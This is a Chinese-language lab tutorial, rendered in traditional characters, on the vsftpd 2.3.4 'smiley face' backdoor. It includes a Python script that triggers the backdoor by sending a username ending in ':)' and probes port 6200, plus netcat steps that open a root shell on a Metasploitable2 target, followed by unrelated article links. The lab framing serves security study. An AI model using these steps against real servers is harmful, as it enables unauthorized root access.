Python腳本檢測(cè)笑臉漏洞的問(wèn)題復(fù)現(xiàn)
Python腳本檢測(cè)笑臉漏洞
一、漏洞介紹
? vsftpd2.3.4中在6200端口存在一個(gè)shell,使得任何人都可以進(jìn)行連接，并且VSFTPD v2.3.4 服務(wù)，是以 root 權(quán)限運(yùn)行的，最終我們提到的權(quán)限也是root；當(dāng)連接帶有vsftpd 2.3.4版本的服務(wù)器的21端口時(shí)，輸入用戶中帶有“?? ”,密碼任意，因此也稱為笑臉漏洞。
二、環(huán)境搭建
攻擊機(jī)（本機(jī)）：125.217.53.182
靶機(jī)（metaspolit2）：192.168.126.129
namp漏洞掃描
我們發(fā)現(xiàn)21端口是打開(kāi)的，而且版本也相對(duì)應(yīng)，接下來(lái)我們使用python腳本進(jìn)行漏洞檢測(cè)
import socket
from ftplib import FTP
url = input("請(qǐng)輸入你需要檢測(cè)的地址：")
ftp = FTP()
username = 'root:)' #用戶名必須包含：)這兩個(gè)字符
password = 'anonymous' #密碼隨便啥都行
try:
ftp.connect(url,21,timeout=10)#使用ftp登錄，設(shè)置延時(shí)10秒
ftp.login(username,password)
ftp.quit()
except:
print("完成登錄檢測(cè)")
try:
s = socket.socket() #使用socket函數(shù)來(lái)檢測(cè)是否有漏洞存在
s.connect((url,6200))
s.close()
print("存在微笑漏洞")
except:
print("沒(méi)有發(fā)現(xiàn)笑臉漏洞！")輸入我們需要攻擊的ip地址，
發(fā)現(xiàn)存在笑臉漏洞
三、漏洞復(fù)現(xiàn)
（一）使用nc進(jìn)行漏洞利用
1、打開(kāi)命令行登錄ftp服務(wù)器，在用戶名處輸入xiaofeng:)然后隨意輸入一個(gè)密碼回車等待，緊接著進(jìn)行下一步：
2、打開(kāi)一個(gè)新窗口，輸入nc 目標(biāo)ip 6200 即可連接。
復(fù)現(xiàn)完成
到此這篇關(guān)于Python腳本檢測(cè)笑臉漏洞的文章就介紹到這了,更多相關(guān)Python腳本檢測(cè)笑臉漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
相關(guān)文章
python中sql解析庫(kù)sqlparse基本操作指南
sqlparse是用于Python的非驗(yàn)證SQL解析器,它提供了對(duì)SQL語(yǔ)句的解析,拆分和格式化的支持,這篇文章主要給大家介紹了關(guān)于python中sql解析庫(kù)sqlparse基本操作指南的相關(guān)資料,需要的朋友可以參考下2024-08-08
Python中的startswith和endswith函數(shù)使用實(shí)例
這篇文章主要介紹了Python中的startswith和endswith函數(shù)使用實(shí)例,特別是endswith函數(shù),有了它,判斷文件的擴(kuò)展名、文件的類型在容易不過(guò)了,需要的朋友可以參考下2014-08-08
python命名空間(namespace)簡(jiǎn)單介紹
這篇文章主要介紹了python命名空間(namespace)簡(jiǎn)單介紹,文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-08-08
把大數(shù)據(jù)數(shù)字口語(yǔ)化（python與js）兩種實(shí)現(xiàn)
當(dāng)出現(xiàn)萬(wàn)以上的整型數(shù)字時(shí)，經(jīng)常要把它們口語(yǔ)化比較直觀。下面分享兩段代碼，python與js的2013-02-02
python 多線程對(duì)post請(qǐng)求服務(wù)器測(cè)試并發(fā)的方法
今天小編就為大家分享一篇python 多線程對(duì)post請(qǐng)求服務(wù)器測(cè)試并發(fā)的方法，具有很好的參考價(jià)值，希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2019-06-06
Python 實(shí)現(xiàn)訓(xùn)練集、測(cè)試集隨機(jī)劃分
今天小編就為大家分享一篇Python 實(shí)現(xiàn)訓(xùn)練集、測(cè)試集隨機(jī)劃分，具有很好的參考價(jià)值，希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-01-01
基于Python實(shí)現(xiàn)合并多張圖片轉(zhuǎn)成mp4視頻
隨著現(xiàn)代科技飛速發(fā)展和人們提升視覺(jué)上體驗(yàn)，利用圖片生成視頻的方法，確實(shí)為工作或者提升生活體驗(yàn)感做了很多成功案例，本文就來(lái)介紹一下具體實(shí)現(xiàn)方法吧2023-04-04
Python使用Selenium抓取動(dòng)態(tài)網(wǎng)頁(yè)的方法步驟
在如今的網(wǎng)絡(luò)中,許多網(wǎng)站是“動(dòng)態(tài)”的,即網(wǎng)頁(yè)內(nèi)容不是靜態(tài)的 HTML 文件,而是由 JavaScript 動(dòng)態(tài)生成的,這種動(dòng)態(tài)網(wǎng)頁(yè)在數(shù)據(jù)抓取中帶來(lái)了一些挑戰(zhàn),在本教程中,我們將詳細(xì)介紹如何使用 Python 抓取動(dòng)態(tài)網(wǎng)頁(yè),需要的朋友可以參考下2024-11-11
這篇文章主要介紹了Python定時(shí)器線程池原理詳解,文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-02-02
如何用python和java分別寫(xiě)出10道經(jīng)典題(含代碼)
Python與Java在語(yǔ)言特性、性能和應(yīng)用場(chǎng)景上各有優(yōu)勢(shì),下面這篇文章主要介紹了如何用python和java分別寫(xiě)出10道經(jīng)典題的相關(guān)資料,文中通過(guò)代碼介紹的非常詳細(xì),需要的朋友可以參考下2026-05-05